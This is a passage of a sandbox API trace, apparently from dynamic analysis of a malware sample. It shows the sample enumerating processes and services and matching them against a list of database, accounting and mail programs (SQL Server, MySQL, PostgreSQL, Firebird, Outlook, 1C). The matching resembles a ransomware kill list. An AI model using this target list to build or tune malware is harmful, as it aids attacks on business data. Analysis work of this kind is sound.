cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0125.034] lstrlenW (lpString="lsass.exe") returned 9 [0125.034] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0125.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0125.034] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0125.034] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0125.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0125.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0125.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0125.035] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0125.035] lstrlenW (lpString="lsm.exe") returned 7 [0125.035] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0125.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0125.035] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0125.035] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0125.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0125.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0125.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0125.035] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.035] lstrlenW (lpString="svchost.exe") returned 11 [0125.035] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0125.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0125.035] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0125.035] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0125.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0125.036] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.036] lstrlenW (lpString="svchost.exe") returned 11 [0125.036] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0125.036] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.036] lstrlenW (lpString="svchost.exe") returned 11 [0125.036] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0125.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0125.037] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.037] lstrlenW (lpString="svchost.exe") returned 11 [0125.037] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0125.037] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.037] lstrlenW (lpString="svchost.exe") returned 11 [0125.037] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0125.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0125.038] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0125.038] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0125.038] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0125.038] lstrlenW (lpString="audiodg.exe") returned 11 [0125.038] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0125.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0125.038] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0125.038] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0125.038] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0125.038] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0125.038] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0125.038] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.038] lstrlenW (lpString="svchost.exe") returned 11 [0125.038] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0125.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0125.038] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0125.038] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0125.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0125.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0125.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0125.039] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0125.039] lstrlenW (lpString="userinit.exe") returned 12 [0125.039] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0125.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0125.039] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0125.039] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0125.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0125.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0125.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0125.039] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0125.039] lstrlenW (lpString="explorer.exe") returned 12 [0125.039] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0125.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0125.039] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0125.039] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0125.040] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0125.041] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0125.041] lstrlenW (lpString="dwm.exe") returned 7 [0125.041] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.041] lstrlenW (lpString="svchost.exe") returned 11 [0125.041] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0125.041] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0125.042] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0125.042] lstrlenW (lpString="spoolsv.exe") returned 11 [0125.042] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.042] lstrlenW (lpString="cmd.exe") returned 7 [0125.042] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0125.042] lstrlenW (lpString="dllhost.exe") returned 11 [0125.042] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0125.043] lstrlenW (lpString="conhost.exe") returned 11 [0125.043] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0125.043] lstrlenW (lpString="reader_sl.exe") returned 13 [0125.043] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0125.043] lstrlenW (lpString="AdobeARM.exe") returned 12 [0125.043] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.044] lstrlenW (lpString="svchost.exe") returned 11 [0125.044] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0125.044] lstrlenW (lpString="taskhost.exe") returned 12 [0125.044] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0125.044] CloseHandle (hObject=0x134) returned 1 [0125.044] Sleep (dwMilliseconds=0x1f4) [0125.790] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b6068 [0125.989] EnumServicesStatusExW (in: hSCManager=0x8b6068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0125.997] GetLastError () returned 0xea [0125.997] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x8ee200 [0125.997] EnumServicesStatusExW (in: hSCManager=0x8b6068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8ee200, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8ee200, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0125.998] CloseServiceHandle (hSCObject=0x8b6068) returned 1 [0125.998] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0125.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.998] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0125.998] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0125.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0125.998] lstrlenW (lpString="AudioSrv") returned 8 [0125.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0125.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0125.998] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0125.998] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0125.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0125.998] lstrlenW (lpString="BFE") returned 3 [0125.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0125.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0125.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0125.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0125.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0125.999] lstrlenW (lpString="CscService") returned 10 [0125.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0125.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0125.999] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0125.999] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0125.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0125.999] lstrlenW (lpString="DcomLaunch") returned 10 [0125.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0125.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0125.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0125.999] lstrlenW (lpString="Dhcp") returned 4 [0125.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0125.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0125.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0125.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0125.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0125.999] lstrlenW (lpString="Dnscache") returned 8 [0125.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0125.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0125.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0125.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0125.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0125.999] lstrlenW (lpString="eventlog") returned 8 [0125.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0125.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0125.999] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0125.999] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0125.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0125.999] lstrlenW (lpString="EventSystem") returned 11 [0125.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0125.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0125.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0126.000] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0126.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0126.000] lstrlenW (lpString="gpsvc") returned 5 [0126.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0126.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0126.000] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0126.000] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0126.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0126.000] lstrlenW (lpString="lmhosts") returned 7 [0126.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0126.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0126.000] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0126.000] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0126.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0126.000] lstrlenW (lpString="MMCSS") returned 5 [0126.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0126.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0126.000] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0126.000] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0126.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0126.000] lstrlenW (lpString="nsi") returned 3 [0126.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0126.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0126.000] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0126.000] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0126.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0126.000] lstrlenW (lpString="PlugPlay") returned 8 [0126.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0126.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0126.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0126.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0126.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0126.000] lstrlenW (lpString="Power") returned 5 [0126.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0126.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0126.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0126.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0126.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0126.001] lstrlenW (lpString="ProfSvc") returned 7 [0126.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0126.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0126.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0126.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0126.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0126.001] lstrlenW (lpString="RpcEptMapper") returned 12 [0126.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0126.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0126.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0126.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0126.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0126.001] lstrlenW (lpString="RpcSs") returned 5 [0126.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0126.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0126.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0126.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0126.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0126.001] lstrlenW (lpString="SamSs") returned 5 [0126.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0126.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0126.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0126.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0126.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0126.001] lstrlenW (lpString="Schedule") returned 8 [0126.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0126.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0126.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0126.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0126.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0126.001] lstrlenW (lpString="SENS") returned 4 [0126.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0126.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0126.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0126.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0126.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0126.002] lstrlenW (lpString="ShellHWDetection") returned 16 [0126.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0126.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0126.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0126.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0126.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0126.002] lstrlenW (lpString="Spooler") returned 7 [0126.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0126.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0126.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0126.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0126.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0126.002] lstrlenW (lpString="Themes") returned 6 [0126.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0126.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0126.002] 